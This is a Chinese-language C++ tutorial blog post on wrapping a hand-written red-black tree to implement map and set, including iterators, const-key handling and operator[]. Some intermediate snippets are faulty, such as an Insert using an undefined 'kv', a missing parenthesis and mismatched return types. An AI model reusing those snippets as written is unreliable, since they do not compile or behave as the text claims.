【数据结构】【C++】封装红黑树模拟实现map和set容器

news2024/11/26 21:45:51

【数据结构】&&【C++】封装红黑树模拟实现map和set容器

  • 一.红黑树的完成
  • 二.改造红黑树(泛型适配)
  • 三.封装map和set的接口
  • 四.实现红黑树迭代器(泛型适配)
  • 五.封装map和set的迭代器
  • 六.解决key不能修改问题
  • 七.实现map[]运算符重载

一.红黑树的完成

在上一篇红黑树的模拟实现中,已经将红黑树实现完毕,这里不再分析。

#pragma once
#include <iostream>
using namespace std;

//红黑树,不是红色就是黑色
enum Color
{
	RED,
    BLACK
};
template <class K, class V>
//先定义结点
struct RBtreeNode
{
	RBtreeNode<K, V>* _left;
	RBtreeNode<K, V>* _right;
	RBtreeNode<K, V>* _parent;
	Color _col;
	pair<K, V> _kv;
	RBtreeNode(const pair<K,V> kv)
		:_left(nullptr)
		,_right(nullptr)
		,_parent(nullptr)
		,_col(RED)//根结点是黑色,但插入的元素是红色的
		,_kv(kv)
	{}

};


template <class K, class V>
class RBTRree
{
	typedef RBtreeNode<K, V> Node;

public:
	bool CheckColour(Node* root, int blacknum, int benchmark)
	{
		if (root == nullptr)
		{
			if (blacknum != benchmark)
				return false;

			return true;
		}

		if (root->_col == BLACK)
		{
			++blacknum;
		}

		if (root->_col == RED && root->_parent && root->_parent->_col == RED)
		{
			cout << root->_kv.first << "出现连续红色节点" << endl;
			return false;
		}

		return CheckColour(root->_left, blacknum, benchmark)
			&& CheckColour(root->_right, blacknum, benchmark);
	}

	bool IsBalance()
	{
		return IsBalance(_root);
	}

	bool IsBalance(Node* root)
	{
		if (root == nullptr)
			return true;

		if (root->_col != BLACK)
		{
			return false;
		}

		// 基准值
		int benchmark = 0;
		Node* cur = _root;
		while (cur)
		{
			if (cur->_col == BLACK)
				++benchmark;

			cur = cur->_left;
		}

		return CheckColour(root, 0, benchmark);
	}

	void RotateL(Node* parent)//左单旋
	{

		Node* cur = parent->_right;

		Node* curleft = cur->_left;
		parent->_right = curleft;
		if (curleft)
		{
			curleft->_parent = parent;
		}
		cur->_left = parent;
		Node* pp = parent->_parent;
		parent->_parent = cur;



		if (parent == _root)
		{
			//那么这样cur就是根结点了
			_root = cur;
			cur->_parent = nullptr;
		}
		else
		{
			if (pp->_left == parent)
			{
				pp->_left = cur;
			}
			else
			{
				pp->_right = cur;
			}

			cur->_parent = pp;
			//旋转后cur和parent bf都为0?
		}
		
	}
	void RotateR(Node* parent)//右单旋
	{
		Node* cur = parent->_left;

		Node* curright = cur->_right;

		parent->_left = curright;
		if (curright)
		{
			curright->_parent = parent;
		}
		Node* ppnode = parent->_parent;
		cur->_right = parent;
		parent->_parent = cur;

		if (ppnode == nullptr)
		{
			//说明cur就变成根节点了
			_root = cur;
			cur->_parent = nullptr;
		}
		else
		{
			if (ppnode->_left == parent)
			{
				ppnode->_left = cur;
			}
			else
			{
				ppnode->_right = cur;
			}
			cur->_parent = ppnode;
		}
		
	}
	//插入与搜索树是一致的
	bool Insert(const pair<K, V>& kv)
	{
		//红黑树的插入就是搜索树的插入
		if (_root == nullptr)
		{
			_root = new Node(kv);
			_root->_col = BLACK;
			return true;
		}

		//说明该二叉树不是空树,那么就进行比较找到位置
		Node* cur = _root;
		Node* parent = nullptr;
		while (cur)
		{
			if (cur->_kv.first < kv.first)
			{
				parent = cur;
				//记录结点的位置
				cur = cur->_right;
			}
			else if (cur->_kv.first > kv.first)
			{
				parent = cur;
				cur = cur->_left;
			}
			else
			{
				return false;
			}
		}
		//走到这里表明cur为空了,表明位置已经找到了
		cur = new Node(kv);
		cur->_col = RED;
		//插入结点是红色的
		if (kv.first > parent->_kv.first)
		{
			parent->_right = cur;
		}
		else
		{
			parent->_left = cur;
		}
		//注意这个是三叉链,还要注意父指针
		cur->_parent = parent;
	    

		//插入结点是红色的!然后如果父节点是黑色的那么就没有事,但如果父节点是红色那么就需要讨论!
		//可能parent不存在
		while (parent && parent->_col == RED)
		{
			Node* grandfather = parent->_parent;
			//先记录下祖父位置
			
			if (parent==grandfather->_left)
			{
				//说明叔叔在右边
				Node* uncle = grandfather->_right;
				//uncle存在且为红色
				if(uncle && uncle->_col == RED)
				{
					//解决方法:变色+向上调整
					parent->_col = uncle->_col = BLACK;
					grandfather->_col = RED;

					cur = grandfather;
					parent = cur->_parent;


				}
				else//uncle不存在或者uncle存在为黑色   解决方法:旋转+变色   旋转完后作为根结点就需要变黑色
				{
					if (cur == parent->_left)
					{
						//右旋
						RotateR(grandfather);
						//变色
						parent->_col = BLACK;
						grandfather->_col = RED;
					}
					else
					{
						//双旋
						//先左旋
						RotateL(parent);
						RotateR(grandfather);

						//变色
						cur->_col = BLACK;
						grandfather->_col = RED;

					}
					break;
				}
			}
			else//parent==grandfather->_right
			{
				Node* uncle = grandfather->_left;

				//uncle存在且为红色
				if (uncle && uncle->_col == RED)
				{
					parent->_col = uncle->_col = BLACK;
					grandfather->_col = RED;

					cur = grandfather;
					parent = cur->_parent;
				}
				else//uncle不存在或者存在且为黑色
				{
					if (cur == parent->_right)
					{
						//左旋
						RotateL(grandfather);
						//变色
						parent->_col = BLACK;
						grandfather->_col = RED;
					}
					else
					{
						//先右旋再左旋
						RotateR(parent);
						RotateL(grandfather);
						//变色
						cur->_col = BLACK;
						grandfather->_col = RED;
					}
					break;

				}
			}

		}
		//当最后调整到根节点时,父节点不存在,如果这时根结点要是红色的那么就是要变色红色
		_root->_col = BLACK;
		return true;
	}
	private:
		Node* _root=nullptr;
		
	};

二.改造红黑树(泛型适配)

我们要对红黑树进行改造,因为map和set底层用的都是红黑树,虽然不是同一个树,但是是同一个模板实例化出来的红黑树。我们要让红黑树可以适配不同的数据类型,因为set里面存的是K类型,而map里面存的是pair<K,V>类型。
所以我们一开始并不知道树里存的数据是什么类型,那么就用T表示。当传的模板参数是K类型,树里存的就是K类型,当传的模板参数是pair<K,V>类型,树里存的就是pair<K,V>类型,所以我们可以通过传模板参数来决定树里存的是什么数据类型。
所以我们改造红黑树里的数据都改成T类型,T类型我们不知道是什么数据类型,根据传的模板参数决定。

enum Color
{
	RED,
	BLACK
};
template <class T>
//先定义结点
struct RBtreeNode
{
	//我们也不知道数据是什么? 是T类型,根据传的模板参数确定
	RBtreeNode<T>* _left;
	RBtreeNode<T>* _right;
	RBtreeNode<T>* _parent;
	Color _col;
	T _data;
		
	RBtreeNode(const T& data)
		:_left(nullptr)
		, _right(nullptr)
		, _parent(nullptr)
		, _col(RED)//根结点是黑色,但插入的元素是红色的
		, _data(data)
	{}

};
template <class K, class T>
//我们不知道数据类型,为什么还要传K类型呢?
//这里的K是find查找 key值
struct RBTree
{
	
public:

	typedef RBtreeNode<T> Node;
	
private:
  
       bool Insert(const T& data)
	{
		if (_root == nullptr)
		{
			_root = new Node(data);
			_root->_col = BLACK;
			return true;
		}
		Node* cur = _root;
		Node* parent = nullptr;
		while (cur)
		{
			if (cur->_data < data)
			{
				parent = cur;
				//记录结点的位置
				cur = cur->_right;
			}
			else if (cur->_data > data)
			{
				parent = cur;
				cur = cur->_left;
			}
			else
			{
				return false;
			}
		}
		//走到这里表明cur为空了,表明位置已经找到了
		cur = new Node(kv);
		cur->_col = RED;
		//插入结点是红色的
		if (data > parent->_data)
		{
			parent->_right = cur;
		}
		else
		{
			parent->_left = cur;
		}
		//注意这个是三叉链,还要注意父指针
		cur->_parent = parent;
	    

		//插入结点是红色的!然后如果父节点是黑色的那么就没有事,但如果父节点是红色那么就需要讨论!
		//可能parent不存在
		while (parent && parent->_col == RED)
		{
			Node* grandfather = parent->_parent;
			//先记录下祖父位置
			
			if (parent==grandfather->_left)
			{
				//说明叔叔在右边
				Node* uncle = grandfather->_right;
				//uncle存在且为红色
				if(uncle && uncle->_col == RED)
				{
					//解决方法:变色+向上调整
					parent->_col = uncle->_col = BLACK;
					grandfather->_col = RED;

					cur = grandfather;
					parent = cur->_parent;


				}
				else//uncle不存在或者uncle存在为黑色   解决方法:旋转+变色   旋转完后作为根结点就需要变黑色
				{
					if (cur == parent->_left)
					{
						//右旋
						RotateR(grandfather);
						//变色
						parent->_col = BLACK;
						grandfather->_col = RED;
					}
					else
					{
						//双旋
						//先左旋
						RotateL(parent);
						RotateR(grandfather);

						//变色
						cur->_col = BLACK;
						grandfather->_col = RED;

					}
					break;
				}
			}
			else//parent==grandfather->_right
			{
				Node* uncle = grandfather->_left;

				//uncle存在且为红色
				if (uncle && uncle->_col == RED)
				{
					parent->_col = uncle->_col = BLACK;
					grandfather->_col = RED;

					cur = grandfather;
					parent = cur->_parent;
				}
				else//uncle不存在或者存在且为黑色
				{
					if (cur == parent->_right)
					{
						//左旋
						RotateL(grandfather);
						//变色
						parent->_col = BLACK;
						grandfather->_col = RED;
					}
					else
					{
						//先右旋再左旋
						RotateR(parent);
						RotateL(grandfather);
						//变色
						cur->_col = BLACK;
						grandfather->_col = RED;
					}
					break;

				}
			}

		}
		//当最后调整到根节点时,父节点不存在,如果这时根结点要是红色的那么就是要变色红色
		_root->_col = BLACK;
		return true;
	}
     }
    //K用来查找数据中的key
	Node* find(const K& key)
	{
		keyofT kof;
		Node* cur = _root;
		while (cur)
		{
			if (kof(cur->_data) < key)
			{
				cur = cur->_right;
			}
			else if (kof(cur->_data) > key)
			{
				cur = cur->_left;
			}
			else
			{
				return cur;
			}
		}
		return nullptr;

	}
	Node* _root = nullptr;

};

存在问题:
红黑树里的比较逻辑都是按照K值进行比较的,这里的红黑树存储的数据是T类型,当插入一个T类型的数据时,我们也不知道这个数据是K类型还是pair<K,V>类型,我们该如何进行里面的比较逻辑呢?
解决方法:
我们可以利用一个仿函数,这个仿函数的功能是可以将数据里的K类型数据取出来。那么我们可以给红黑树增加一个模板参数,给仿函数用。一旦遇到要比较的逻辑时,我们就可以将数据里的K值取出来进行比较。
仿函数实现的原理:当T类型是K类型数据时,直接返回K值即可,当T类型是pair<K,V>数据时,返回里面的first数据即可(就是K值)。

template <class K, class T,class keyofT>
//这里的K是find查找 key值,ketofT是仿函数用来获取data数据里的K值
struct RBTree
{
public:
//插入与搜索树是一致的
  bool Insert(const T& data)//现在红黑树里存的数据我们不确定,就只是T类型
	{
		//红黑树的插入就是搜索树的插入
		if (_root == nullptr)
		{
			_root = new Node(data);
			_root->_col = BLACK;
			return true;
		}
		Node* cur = _root;
		Node* parent = nullptr;
		keyofT kof;
		while (cur)
		{
			//这里因为树里存的数据到底是什么类型的,所以无法这样比较
			//我们想要根据K值来进行比较,但最终的数据可能是pair类型的
			//所以我们需要一个仿函数keyofT来获取K类型和pair类型的里的K值

			if (kof(cur->_data) < kof(data)
			{
				parent = cur;
				//记录结点的位置
				cur = cur->_right;
			}
			else if (kof(cur->_data) > kof(data))
			{
				parent = cur;
				cur = cur->_left;
			}
			else
			{
				return  make_pair(iterator(cur), false);
				//插入失败,返回的是已经存在结点的迭代器
			}
		}
		//走到这里表明cur为空了,表明位置已经找到了
		cur = new Node(data);
		Node* newnode = cur;
		//下面cur可能会往上走,先记录一下
		cur->_col = RED;
		//插入结点是红色的
		if (kof(data) > kof(parent->_data))
		{
			parent->_right = cur;
		}
		else
		{
			parent->_left = cur;
		}
		//注意这个是三叉链,还要注意父指针
		cur->_parent = parent;


		//插入结点是红色的!然后如果父节点是黑色的那么就没有事,但如果父节点是红色那么就需要讨论!
		//可能parent不存在
		while (parent && parent->_col == RED)
		{
			Node* grandfather = parent->_parent;
			//先记录下祖父位置

			if (parent == grandfather->_left)
			{
				//说明叔叔在右边
				Node* uncle = grandfather->_right;
				//uncle存在且为红色
				if (uncle && uncle->_col == RED)
				{
					//解决方法:变色+向上调整
					parent->_col = uncle->_col = BLACK;
					grandfather->_col = RED;

					cur = grandfather;
					parent = cur->_parent;


				}
				else//uncle不存在或者uncle存在为黑色   解决方法:旋转+变色   旋转完后作为根结点就需要变黑色
				{
					if (cur == parent->_left)
					{
						//右旋
						RotateR(grandfather);
						//变色
						parent->_col = BLACK;
						grandfather->_col = RED;
					}
					else
					{
						//双旋
						//先左旋
						RotateL(parent);
						RotateR(grandfather);

						//变色
						cur->_col = BLACK;
						grandfather->_col = RED;

					}
					break;
				}
			}
			else
			{
				Node* uncle = grandfather->_left;
				if (uncle && uncle->_col == RED)
				{
					parent->_col = uncle->_col = BLACK;
					grandfather->_col = RED;

					cur = grandfather;
					parent = cur->_parent;
				}
				else//uncle不存在或者存在且为黑色
				{
					if (cur == parent->_right)
					{
						//左旋
						RotateL(grandfather);
						//变色
						parent->_col = BLACK;
						grandfather->_col = RED;
					}
					else
					{
						//先右旋再左旋
						RotateR(parent);
						RotateL(grandfather);
						//变色
						cur->_col = BLACK;
						grandfather->_col = RED;
					}
					break;

				}
			}

		}
		_root->_col = BLACK;
		return  true;
	}

三.封装map和set的接口

封装set,内部实现仿函数,然后底层封装的是存储K值的红黑树。

namespace tao
{
  
    template <class K>//根据传给模板参数T不同的参数,让红黑树来存不同的数据
    class set
    {
       //仿函数:set_keyoft用来获取数据里的K值
        struct set_keyoft
        {
            const K& operator()(const K& kv)
            {
                return kv;
            }
        };
       // 
    public:
        bool insert(const K& key)
        {
           return _rb.insert(key);
        }
        
    private:
       //根据模板参数来实例化不同的红黑树
       //这里的红黑树被实例化成存储K类型的
        RBTree<K, K, set_keyoft>  _rb;
    };
}

封装map,实现仿函数,底层存储的是pair<K,V>类型的红黑树。

namespace tao
{

    //根据模板参数来实例化不同的红黑树
    template <class K,class V>
    class map
    {
    //仿函数:map_keyoft用来获取数据中的K值。
        struct map_keyoft
        {
            const K& operator()(const pair<K, V>& kv)
            {
                return kv.first;
            }
        };
    public:
      
        bool insert(const pair<K,V>& kv)//插入的数据类型是由红黑树存的数据类型有关
            //直接调用红黑树的接口
        {
            return _rb.Insert(kv); //因为map底层红黑树里存的是pair类型数据
        }
    private:
        RBTree<K, pair<const K,V>, map_keyoft>  _rb;
         //这里红黑树被实例化为存储pair<K,V>类型的
    };//根据传给模板参数T不同的参数,让红黑树来存不同的数据
}

在这里插入图片描述
在这里插入图片描述

四.实现红黑树迭代器(泛型适配)

红黑树的迭代器和链表的迭代器类似,都是自定义类型,因为原生指针不能满足需要,所以需要自定义,底层封装着原生指针,也就是指向结点的指针,通过对原生指针一些操作来达到红黑树迭代器的需要。

1.迭代器有普通迭代器和const迭代器,普通迭代很好实现,那么const迭代器如何实现呢?
与链表的const迭代器实现原理一样,我们通过三个模板参数(template <class T,class Ref,class Ptr>)来控制函数的返回值,从而控制返回的是普通类型的迭代器还是const类型的迭代器。这里也就是泛型适配,适配多种类型 。

Ref控制解引用函数的返回值,当Ref为T&时,返回的就是普通迭代器,当Ref为const T&时,返回的就是const迭代器。
Ptr控制的->重载函数的返回值,当Ptr为T时,返回的就是普通迭代器,当Ptr为const T时,返回的就是const迭代器。

2.红黑树迭代器的++实现原理:

1.首先begin的位置肯定是在最左边,也就是最小值。
2.++就是下一个位置,++到下一个比它大的位置。我们就要讨论当前结点的右边是否有结点。
3.当右边有结点时,那么就找右边的最小值,也就是右边的最左结点。
4.当右边没有结点时,我们就要往上找父亲结点为左结点的那个祖先。因为当右边没有结点时,说明右边已经访问完了,那么往上找凡是父亲结点是祖先右边时就直接跳过,当父亲结点是祖先左边时,那么这个祖先结点就是下一次要访问的结点。

在这里插入图片描述

3.红黑树迭代器的–实现原理:

1.跟加加倒着来就可以了。
2.–就是前面的位置,–到上一个比它小的位置。我们要讨论的是当前结点的左边是否有结点。
3.当左边有结点时,我们就找左边的最大值,也就是左边的最右结点。
4.当左边没有结点时,我们就找父亲结点为右结点的那个祖先。

//只有把树里的迭代器搞完,才能搞map和set的迭代器

//迭代器提供三个模板参数,第一个控制数据类型,第二个控制解引用返回值类型,第三个控制->返回值类型
template <class T,class Ref,class Ptr>
//泛型适配
struct _treeIterator
{
	typedef _treeIterator<T,Ref,Ptr> Self;
	typedef RBtreeNode<T> Node;
	//底层封装一个原生指针
	_treeIterator( Node * node)//迭代器的构造
		:_node(node)
	{}

	Ref& operator*()
	{
		return _node->_data;
	}
	Ptr operator->()
	{
		return &_node->_data;
	}
	Self& operator--()
	{
		//找孩子是父亲右的那个
		//我们要讨论当前结点的左边是否右结点
		if (_node->_left)//如果左边存在,那么就找最大值
		{

			Node* curleft = _node->_left;
			while (curleft->_right)
			{
				curleft = curleft->_right;
			}
			_node = curleft;
		}
		else//左边不存在,就找孩子是父亲右的那个
		{
			Node* cur = _node;
			Node* parent = cur->_parent;
			while (parent && cur == parent->_left)
			{
				cur = parent;
				parent = cur->_parent;
			}
			//走到这里说明找到孩子是右边的了
			_node = parent;

		}
		return *this;
	}
	Self& operator++()
	{
		//如果右边存在,那么就找最小结点
		if (_node->_right)
		{
			Node* curright = _node->_right;
			while (curright->_left)
			{
				curright = curright->_left;
			}
			_node = curright;
		}
		else//右边不存在,就找孩子是父亲左边的那个祖先
		{
			Node* cur = _node;

			Node* parent = cur->_parent;

			while (parent&&cur==parent->_right)
			{
					cur = parent;
		         	parent = cur->_parent;
			}
			_node = parent;
		}
		return *this;
	}

	bool operator!=(const Self& n)
	{
		return _node != n._node;
	}
	//迭代器底层封装着结点指针
	Node* _node;
};

迭代器完成之后,我们就要在红黑树里,来实现迭代器的begin()和end()了。

1.首先我们需要给迭代器重命名,因为带有模板后,名字太长了。
2.我们可以通过传不同的模板参数,来是实例化出我们想要的迭代器:普通迭代器和const迭代器。
3.红黑树的迭代器begin()是要求在最小结点那个位置的迭代器,即最左结点,找到最左结点后,我们就用该结点的指针构造迭代器即可。
4.红黑树的迭代器end()可以看作是nullptr的位置,当找不到父亲时,就说明到尽头了。 直接用空来构造迭代器。
5.const迭代器的begin()和end()与普通迭代器的begin()和end()是一样的,就是构造时用const迭代器构造,和返回const迭代器。

template <class K, class T,class keyofT>
//这里的K是find查找 key值
struct RBTree
{
	
public:
	//红黑树的迭代器和链表的迭代器很相似都是自定义类型,里面封装着指针,因为原生指针不满足要求!
	typedef RBtreeNode<T> Node;
	typedef _treeIterator<T,T&,T*> iterator;//普通迭代器
	//两个是相同的类模板,通过传不同的模板参数,实例化出不同的迭代器
	typedef _treeIterator<T, const T&, const T*> const_iterator;//const迭代器
	//通过控制传模板参数来选择是普通迭代器还是const迭代器

	iterator begin()//最左边的结点
	{
		Node* curleft = _root;
		while (curleft && curleft->_left)//还要判断一下curleft是否为空,因为root头可能为空
		{
			curleft = curleft->_left;
		}

		return iterator(curleft);
	}
	iterator end()//为空的位置
	{
		return iterator(nullptr);//用空表示end();
	}



	const_iterator begin()const
	{
		Node* curleft = _root;
		while (curleft && curleft->_left)//还要判断一下curleft是否为空,因为root头可能为空
		{
			curleft = curleft->_left;
		}

		return const_iterator(curleft);
	}
	const_iterator end()const
	{
		return const_iterator(nullptr);//用空表示end();
	}
}

五.封装map和set的迭代器

只有红黑树里的迭代器完成了,才可以封装map和set里的迭代器。
封装set的迭代器,本质就是调用红黑树里的迭代器接口。

1.不过要注意的是,在重命名红黑树里的迭代器时,需要在类名前面加上typename,如果不加上typename是不行的,因为这时类模板还没有实例化出对象出来,就算实例化了,也有部分类型没有实例,因为编译器也不知道这个是内置类型还是静态变量,加上是告诉编译器这个是类型,这个类型在类模板里定义,等类模板实例化后再找。
2.定义好普通迭代和const迭代器后,就可以实现begin()和end()了。

namespace tao
{
    //根据模板参数来实例化不同的红黑树
    template <class K>//根据传给模板参数T不同的参数,让红黑树来存不同的数据
    class set
    {
        //这里的红黑树被实例化成存储K类型的
        struct set_keyoft
        {
            const K& operator()(const K& kv)
            {
                return kv;
            }
        };
       
    public:
        //typedef RBTree<K, K, set_keyoft>::iterator iterator;
        //这样写是不行的,因为类模板还没有实例化出对象来就算实例化,也有的类没有实例,里面没有成员
        typedef typename RBTree<K, K, set_keyoft>::iterator iterator;//-> K 不可以修改 V可以修改

        typedef typename  RBTree<K, K, set_keyoft>::const_iterator const_iterator;//-> K V 都不可以修改
        //告诉编译器这个是类型,这个类型在类模板里定义,等类模板实例化后再去找

        iterator begin()
        {
            return _rb.begin();
        }
        iterator end()
        {
            return _rb.end();
        }
        const_iterator begin()const
        {
            return _rb.begin();
        }
        const_iterator end()const
        {
            return _rb.end();
        }

    private:
        RBTree<K, K, set_keyoft>  _rb;
    };
}

封装set的迭代器,本质就是调用红黑树里的迭代器接口。

namespace tao
{

    //根据模板参数来实例化不同的红黑树
    template <class K,class V>
    class map
    {
        struct map_keyoft
        {
            const K& operator()(const pair<K, V>& kv)
            {
                return kv.first;
            }
        };
    public:
        //map和set的迭代器就是树里的迭代器
        typedef typename RBTree<K, pair<K, V>, map_keyoft>::iterator iterator;
        typedef typename RBTree<K, pair<K, V>, map_keyoft>::const_iterator const_iterator;
   
      //编译器不知道这个是内嵌类型还是自定义类型还是静态变量,所以需要显式表明这个是什么
        iterator begin()
        {
           return  _rb.begin();
        }
        iterator end()
        {
           return  _rb.end();
        }
        const_iterator begin()const
        {
           return  _rb.begin();
        }
        const_iterator end()const 
        {
           return  _rb.end();
        }
    private:
          //这里红黑树被实例化为存储pair<K,V>类型的
        RBTree<K, pair<K,V>, map_keyoft>  _rb;
      
    };//根据传给模板参数T不同的参数,让红黑树来存不同的数据
}

六.解决key不能修改问题

set里面存储的Key值是不能被修改的,map里的存储的K值也是不能被修改,但是Value值是可以被修改!
如果解决这个问题呢?

问题:set里的key值不能被修改。map里的key值不能被修改,value值可以被修改。
set解决原理:
1.set里存储的值就只有Key值,索性我们直接让这个存储的数据无法被修改,只能访问读取,无法修改。即使用const修饰。而我们是通过迭代器来访问到这个数据的,所以我们让普通迭代器变成const迭代器即可。所以在set里,普通迭代器和const迭代器最终都是const迭代器。
2.那么迭代器都是const的了,最终都只会调用const修饰的begin()和end()函数了,普通的begin()和end()就不需要写了。
3.不过这样处理又会出现一个很难搞的问题,这个就是set的insert的返回值问题,我们后面要实现map的[]运算符重载就会讲到。

set的解决方法:
 public:
       
        typedef typename RBTree<K, K, set_keyoft>::const_iterator iterator;//将普通迭代器也变成const迭代器,这样存储的数据Key就无法被修改了
        typedef typename  RBTree<K, K, set_keyoft>::const_iterator const_iterator;
        /*iterator begin()
        {
            return _rb.begin();
        }
        iterator end()
        {
            return _rb.end();
        }*/
        //最后只会调用这两个函数。
        const_iterator begin()const
        {
            return _rb.begin();
        }
        const_iterator end()const
        {
            return _rb.end();
        }

map的解决原理
1.在存储的时候就让K值无法修改。
2.因为我们知道map里存储的数据是pair<K,V>类型,我们不能想set那个让普通迭代器变成const迭代器,因为map要求Value的值还是可以修改的,所以不让pair<K,V>类型无法修改,而是单纯的让里面的K值无法修改,也就是在里面用const修饰K,那么这样K值就不能被修改,V值可以被修改。
3.pair是可以修改的,但是里面的K是无法被修改的!

map的解决方法:
public:

        typedef typename RBTree<K, pair<const K, V>, map_keyoft>::iterator iterator;
        //map的普通迭代器就是普通的,const的就是const的
        typedef typename RBTree<K, pair<const K, V>, map_keyoft>::const_iterator const_iterator;
        //通过存储时,就将K设置为const类型的
        iterator begin()
        {
           return  _rb.begin();
        }
        iterator end()
        {
           return  _rb.end();
        }
         const_iterator begin()const
        {
            return _rb.begin();
        }
        const_iterator end()const
        {
            return _rb.end();
        }
    private:
        RBTree<K, pair<const K,V>, map_keyoft>  _rb;
        //pair是可以修改的,但是里面的K是无法被修改的!
    }
}

七.实现map[]运算符重载

map的[ ]运算符重载,底层实现本质是调用了insert函数。然后通过insert函数返回的pair<iterator,bool>类型数据来找到Value值。

所以在实现[ ]运算符重载时,我们需要对红黑树里的insert进行改造,因为原来的insert的返回值是布尔值,我们需要pair类型返回值。

//改造insert,返回值变成pair<iterato,bool>类型
	pair<iterator,bool> Insert(const T& data)
	{
		if (_root == nullptr)
		{
			_root = new Node(data);
			_root->_col = BLACK;
			return make_pair(iterator(_root),true);
			//插入成功则返回的是新结点指针构造的迭代器封装的pair类型,bool值为true
		}

		Node* cur = _root;
		Node* parent = nullptr;
		keyofT kof;
		while (cur)
		{
			if (kof(cur->_data) < kof(data))
			{
				parent = cur;
				//记录结点的位置
				cur = cur->_right;
			}
			else if (kof(cur->_data) > kof(data))
			{
				parent = cur;
				cur = cur->_left;
			}
			else
			{
				return  make_pair(iterator(cur), false);
				//插入失败,返回的是已经存在结点的迭代器构造的pair类型,bool值是false
			}
		}
		cur = new Node(data);
		Node* newnode = cur;
		//下面cur可能会往上走,先记录一下
		cur->_col = RED;
		//插入结点是红色的
		if (kof(data) > kof(parent->_data))
		{
			parent->_right = cur;
		}
		else
		{
			parent->_left = cur;
		}
		//注意这个是三叉链,还要注意父指针
		cur->_parent = parent;
		while (parent && parent->_col == RED)
		{
			Node* grandfather = parent->_parent;
			//先记录下祖父位置

			if (parent == grandfather->_left)
			{
				//说明叔叔在右边
				Node* uncle = grandfather->_right;
				//uncle存在且为红色
				if (uncle && uncle->_col == RED)
				{
					//解决方法:变色+向上调整
					parent->_col = uncle->_col = BLACK;
					grandfather->_col = RED;

					cur = grandfather;
					parent = cur->_parent;
				}
				else//uncle不存在或者uncle存在为黑色   解决方法:旋转+变色   旋转完后作为根结点就需要变黑色
				{
					if (cur == parent->_left)
					{
						//右旋
						RotateR(grandfather);
						//变色
						parent->_col = BLACK;
						grandfather->_col = RED;
					}
					else
					{
						RotateL(parent);
						RotateR(grandfather);

						//变色
						cur->_col = BLACK;
						grandfather->_col = RED;

					}
					break;
				}
			}
			else//parent==grandfather->_right
			{
				Node* uncle = grandfather->_left;

				//uncle存在且为红色
				if (uncle && uncle->_col == RED)
				{
					parent->_col = uncle->_col = BLACK;
					grandfather->_col = RED;

					cur = grandfather;
					parent = cur->_parent;
				}
				else//uncle不存在或者存在且为黑色
				{
					if (cur == parent->_right)
					{
						//左旋
						RotateL(grandfather);
						//变色
						parent->_col = BLACK;
						grandfather->_col = RED;
					}
					else
					{
						//先右旋再左旋
						RotateR(parent);
						RotateL(grandfather);
						//变色
						cur->_col = BLACK;
						grandfather->_col = RED;
					}
					break;

				}
			}

		}
		_root->_col = BLACK;
		return  make_pair(iterator(newnode), true);
		//最后返回的是新节点构造的迭代器封装的pair类型
	}

红黑树的insert改造后,那么set和map里的insert都需要修改,因为底层用的就是红黑树的insert。

在这里插入图片描述
这样修改是对的吗?有没有什么问题呢?
但是这时会出现一个问题,set里面的insert报错。这是为什么呢?
在这里插入图片描述
问题在于,我们之前让普通迭代变成const迭代器,而这里的pair<iterator,bool>中的iterator其实本质上是const_iterator。
是pair<const_itearto,bool>类型的。而红黑树里的insert返回的是普通迭代器,也就是pair<iterator,bool>类型的。这是两个不同的类型,无法直接将pair<iterator,bool>类型转换成pair<const_itearto,bool>类型的。所以会报错。
在这里插入图片描述
在这里插入图片描述

那么如何解决这个问题呢?
不知道你有没有见过这个的代码

list<int>::iteartor it= l.begin();
list<int>::const_iterator cit =l.begin();

STL库里是支持将普通迭代器转换成const迭代器。那么库里是如何实现的呢?
在这里插入图片描述

1.迭代器的拷贝函数是浅拷贝,我们不需要写,编译器自动生成的拷贝就可以用,编译器自动生成的拷贝函数只能实现普通迭代器拷贝给普通迭代器,const迭代器拷贝给const迭代器。(原理就是拷贝函数的对象类型就是调用这个函数的类型,当普通迭代器调用拷贝时,那么拷贝对象就是普通类型,当const迭代器调用拷贝时,那么拷贝对象就是const类型)
2.而我们需要的是让普通迭代器能够拷贝给const迭代器。所以我们需要自己增加拷贝函数。
3.库里的设计很妙,库里重新定义了一个iterator,作为拷贝对象,而这个iterator固定了就是普通的迭代器,不会随着调用对象而改变类型。所以当普通迭代器调用时,就会将普通iterator拷贝给它。当const迭代器调用时,就会将普通迭代器iterator拷贝给它。
4.所以我们需要对红黑树的迭代器添加拷贝构造。用普通迭代器iteartor作为拷贝对象

template <class T,class Ref,class Ptr>
struct _treeIterator
{
	typedef _treeIterator<T,Ref,Ptr> Self;
	typedef RBtreeNode<T> Node;

	typedef _treeIterator<T, T&, T*> Iterator;//重新定义一个迭代器,这个迭代器完全是普通迭代器。

	_treeIterator(const Iterator& it)//相当于迭代器的拷贝构造,但不完全是
		:_node(it._node)
	{}
	//当为普通迭代器时,普通迭代器构造普通迭代器,是拷贝构造
	//当为const迭代器时,普通迭代器构造const迭代器,是构造


	_treeIterator( Node * node)//迭代器的构造
		:_node(node)
	{}
……………………
……………………

这样处理后,我们再利用pair<iterator,bool>类型的构造函数,将普通迭代器转换成const迭代器。

1.先将insert返回类型利用ret接收
2.利用pair<iteartor,bool>构造将ret里的普通迭代器转换为const迭代器。

 //这里的iterator是const_iterator
        pair<iterator,bool> insert(const K& kv)
        {
            //这里insert返回的是树里的普通迭代器_treeIterator<T,T&,T*> iterator
          pair<typename RBTree<K, K, set_keyoft>::iterator, bool> ret = _rb.Insert(kv);//因为set底层红黑树里存的是K类型数据

          return pair<iterator, bool>(ret.first, ret.second);
           //用普通迭代器构造const迭代器
           //所以我们需要写一个迭代器的构造函数,可以用迭代器构造迭代器
        }

最后insert的改造到这里就结束了,insert改造完后,就可以实现[ ]运算符重载了。

    V& operator[](const K& key)
        {

            pair<iterator, bool> ret = insert(make_pair(key, V()));
            //已经存在就就不插入,不存在就插入,默认给V的缺省参数
            //如果key在树里已经存在那么就返回已经存在结点的迭代器
            //如果key不在树里,那么就将该结点插入进去,返回该结点的迭代器
            
            return ret.first->second;
            //first先访问里面的迭代器,迭代器的second才是Value值。
        }

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1029051.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

抖音、知乎、小红书的流量算法

